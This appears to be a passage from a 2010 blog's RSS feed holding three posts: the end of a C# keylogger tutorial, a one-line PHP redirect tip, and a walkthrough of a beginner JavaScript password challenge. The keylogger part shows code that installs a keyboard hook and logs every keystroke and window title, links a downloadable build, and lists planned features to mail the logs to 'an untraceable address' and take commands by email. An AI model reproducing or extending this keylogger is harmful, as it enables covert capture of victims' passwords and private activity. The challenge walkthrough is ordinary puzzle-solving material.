        <span style="color: #000000;">&#123;</span>
            Reader <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> Reader<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Reader.<span style="color: #0000FF;">KeyPressed</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> ReaderEvent<span style="color: #000000;">&#40;</span>Reader_KeyPressed<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            WindowTitleHelper <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> WindowTitleHelper<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            WindowTitleHelper.<span style="color: #0000FF;">ActiveWindowTitleChanged</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> WindowTitleHelperEvent<span style="color: #000000;">&#40;</span>WindowTitleHelper_ActiveWindowTitleChanged<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region event handlers</span>
&nbsp;
        <span style="color: #0600FF;">void</span> Reader_KeyPressed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ReaderEventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            WindowTitleHelper.<span style="color: #0000FF;">CheckActiveWindowTitle</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>, e.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">void</span> WindowTitleHelper_ActiveWindowTitleChanged<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, WindowTitleHelperEventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            StringBuilder builder <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StringBuilder<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;{0}{0}&quot;</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;-------------------------------------------{0}&quot;</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;New window title: {0}{1}&quot;</span>, e.<span style="color: #0000FF;">ActiveWindowTitle</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;-------------------------------------------{0}&quot;</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>, builder.<span style="color: #0000FF;">ToString</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region methods</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> Start<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Hook.<span style="color: #0000FF;">CreateHook</span><span style="color: #000000;">&#40;</span>Reader.<span style="color: #0000FF;">Read</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>,
                <span style="color: #FF0000;">string</span>.<span style="color: #0000FF;">Format</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;{1}{0}: Hook created.{1}&quot;</span>, DateTime.<span style="color: #0000FF;">Now</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span>
                <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> Stop<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>,
                <span style="color: #FF0000;">string</span>.<span style="color: #0000FF;">Format</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;{1}{0}: Hook destroyed.{1}&quot;</span>, DateTime.<span style="color: #0000FF;">Now</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span>
                <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Reader.<span style="color: #0000FF;">KeyPressed</span> <span style="color: #008000;">-=</span> Reader_KeyPressed<span style="color: #008000;">;</span>
            Hook.<span style="color: #0000FF;">DestroyHook</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>Future releases</strong></p>
<p>These are a few of the changes that I&#8217;d like to make in future. If I actually get around to writing these I&#8217;ll post them here.</p>
<ul>
<li>Improve Logger type to use a Factory/Strategy pattern. The idea being that you can have &#8220;raw&#8221; logs (which log everything) and &#8220;clean&#8221; logs which only log the keys as the text was displayed e.g. it would log &#8220;factory pattern&#8221; (clean log) instead of &#8220;factt&lt;backspace&gt;ory&lt;space&gt;pattr&lt;backspace&gt;ern&#8221;  (raw log).</li>
<li>Add a new type/facade to allow the logged files to be mailed to an untraceable address at a given time (or set of times) everyday.</li>
<li>Add a new type and expression syntax to allow the app to receive commands from email.</li>
<li>Add configurable triggers which will switch the logger on/off depending on the ActiveWindowTitle.</li>
</ul>
<p>I hope you find these changes useful. Download assembly zip <a href="http://www.speedyshare.com/files/22759589/khsvclib.zip">here</a>.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook" rel="bookmark" title="Thursday 07.05.2009">Keylogger in C# :: Hooking and unhooking keyboard hook</a></li>
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/tutorial/2010/01/basic-web-hacking-17-java-decompiler" rel="bookmark" title="Tuesday 26.01.2010">Basic Web Hacking 17 :: java decompiler</a></li>
<li><a href="http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction" rel="bookmark" title="Friday 06.02.2009">Keylogger in C# :: Introduction</a></li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
</ul>
<p><!-- Similar Posts took 6.191 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=984" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to redirect site in php</title>
		<link>http://www.axino.net/tutorial/2010/06/how-to-redirect-site-in-php</link>
		<comments>http://www.axino.net/tutorial/2010/06/how-to-redirect-site-in-php#comments</comments>
		<pubDate>Tue, 01 Jun 2010 21:22:44 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[how to]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1004</guid>
		<description><![CDATA[Last day I needed to forward domain: swat2010.axino.net to my server. And this can easily be done with the php. &#60;? &#160; header&#40;&#34;Location: http://193.2.218.150:8080/SWAT2010/&#34;&#41;; &#160; ?&#62; Inside header you should put location to which you would like to forward user.Similar Posts: SWAT2010 :: available again SWAT2010 :: new location SWAT2010 :: unavailable hackertest.net level 17 [...]]]></description>
			<content:encoded><![CDATA[<p>Last day I needed to forward domain: swat2010.axino.net to my server.</p>
<p><span id="more-1004"></span></p>
<p>And this can easily be done with the php.<br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?</span>
&nbsp;
<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Location: http://193.2.218.150:8080/SWAT2010/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p></code></p>
<p>Inside header you should put location to which you would like to forward user.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/projects/swat2010/2010/05/swat2010-available-again" rel="bookmark" title="Monday 31.05.2010">SWAT2010 :: available again</a></li>
<li><a href="http://www.axino.net/programming/java-programming/2010/03/swat2010-new-position" rel="bookmark" title="Monday 15.03.2010">SWAT2010 :: new location</a></li>
<li><a href="http://www.axino.net/programming/java-programming/2010/04/swat2010-unavailable" rel="bookmark" title="Thursday 29.04.2010">SWAT2010 :: unavailable</a></li>
<li><a href="http://www.axino.net/hack/hackertestnet/2009/11/hackertest-net-level-17-do-you-like-cookies" rel="bookmark" title="Monday 30.11.2009">hackertest.net level 17 :: Do you like cookies</a></li>
<li><a href="http://www.axino.net/programming/java-programming/2010/02/swat2010-preview" rel="bookmark" title="Friday 05.02.2010">SWAT2010 preview</a></li>
</ul>
<p><!-- Similar Posts took 6.342 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1004" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/06/how-to-redirect-site-in-php/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JavaScript Challenge 7 :: Jump over</title>
		<link>http://www.axino.net/tutorial/2010/05/javascript-challenge-7-jump-over</link>
		<comments>http://www.axino.net/tutorial/2010/05/javascript-challenge-7-jump-over#comments</comments>
		<pubDate>Sun, 30 May 2010 01:10:42 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=974</guid>
		<description><![CDATA[To solve 7th challenge we have to download file to our local machine. You can do this by right clicking on the link to challenge and then selecting Save link as&#8230;. When you save file to computer open it notepad or something similar. Contents should be something similar to the following: &#60;script language=&#34;JavaScript&#34;&#62; &#160; function password &#40;&#41; [...]]]></description>
			<content:encoded><![CDATA[<p>To solve 7th challenge we have to download file to our local machine. You can do this by right clicking on the link to challenge and then selecting <strong>Save link as&#8230;</strong>. When you save file to computer open it notepad or something similar.</p>
<p><span id="more-974"></span></p>
<p>Contents should be something similar to the following:</p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script language<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;JavaScript&quot;</span><span style="color: #339933;">&gt;</span>
&nbsp;
  <span style="color: #003366; font-weight: bold;">function</span> password <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> s1<span style="color: #339933;">,</span> a2<span style="color: #339933;">,</span> v3<span style="color: #339933;">,</span> e4<span style="color: #339933;">,</span> input<span style="color: #339933;">;</span>
&nbsp;
    s1<span style="color: #339933;">=</span>window.<span style="color: #660066;">document</span>.<span style="color: #660066;">bgColor</span><span style="color: #339933;">;</span>
&nbsp;
    a2<span style="color: #339933;">=</span>window.<span style="color: #660066;">document</span>.<span style="color: #660066;">linkColor</span><span style="color: #339933;">;</span>
                                                                                                                                                                                                                                                               v3<span style="color: #339933;">=</span>s1.<span style="color: #660066;">substring</span> <span style="color: #009900;">&#40;</span><span style="color: #CC0000;">6</span><span style="color: #339933;">,</span><span style="color: #CC0000;">9</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>a2.<span style="color: #660066;">substring</span> <span style="color: #009900;">&#40;</span><span style="color: #CC0000;">2</span><span style="color: #339933;">,</span><span style="color: #CC0000;">8</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                                                                                                                                                                                                                                    e4<span style="color: #339933;">=</span>v3.<span style="color: #660066;">toUpperCase</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
     input<span style="color: #339933;">=</span><span style="color: #000066;">prompt</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Password:&quot;</span><span style="color: #339933;">,</span><span style="color: #3366CC;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>input<span style="color: #339933;">!=</span>v3 <span style="color: #339933;">&amp;&amp;</span> input<span style="color: #339933;">!=</span>e4<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
      <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Wrong!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
      window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;../index.php&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
&nbsp;
      window.<span style="color: #660066;">location</span>.<span style="color: #660066;">href</span><span style="color: #339933;">=</span>v3<span style="color: #339933;">+</span><span style="color: #3366CC;">&quot;.php&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span>
&nbsp;
<span style="color: #339933;">&lt;/</span>head<span style="color: #339933;">&gt;</span>
&nbsp;
<span style="color: #339933;">&lt;</span>body bgcolor<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;#D0D0D0&quot;</span> text<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;#FF9900&quot;</span> <span style="color: #000066;">onLoad</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;password()&quot;</span> link<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;#FF9900&quot;</span><span style="color: #339933;">&gt;</span></pre></div></div>

<p></code></p>
<p>Now since we have contents of the file we are able to see what this script exactly does and how does it actually compares entered value in prompt box. As you may notice there is some strange if statement which if it fails links us to the solution. And solution is link with contents of <strong>v3</strong> variable with extension <strong>.php</strong>.</p>
<p>So its obvious we need to find contents of variable v3. Since we already have file on our computer, we will just add following line of code to output value of variable in alert box.<br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>v3<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p></code></p>
<p>You should add this code below following line:<br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">e4<span style="color: #339933;">=</span>v3.<span style="color: #660066;">toUpperCase</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p></code></p>
<p>Now, just open save file in your browser and you should see this output: <strong>0f9900</strong></p>
<p>So it is easy to create URL for solution:</p>
<blockquote><p>http://www.hellboundhackers.org/challenges/js/js7/0f9900.php</p></blockquote>
<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2010/05/hack-test-com-5-annoying-window" rel="bookmark" title="Wednesday 12.05.2010">hack-test.com 5 :: annoying window</a></li>
<li><a href="http://www.axino.net/tutorial/2010/05/javascript-missions-5-escape" rel="bookmark" title="Wednesday 19.05.2010">Javascript Missions 5 :: Escape!</a></li>
<li><a href="http://www.axino.net/tutorial/2010/03/hack-test-com-3-link-colour" rel="bookmark" title="Saturday 20.03.2010">hack-test.com 3 :: link colour</a></li>
<li><a href="http://www.axino.net/tutorial/2010/03/hack-test-com-1-hard-start" rel="bookmark" title="Thursday 18.03.2010">hack-test.com 1 :: hard start</a></li>
<li><a href="http://www.axino.net/hack/hackertestnet/2009/01/hackertestnet-level-5-save-as" rel="bookmark" title="Wednesday 14.01.2009">hackertest.net level 5 :: Save As&#8230;</a></li>
</ul>
<p><!-- Similar Posts took 5.671 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=974" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/05/javascript-challenge-7-jump-over/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
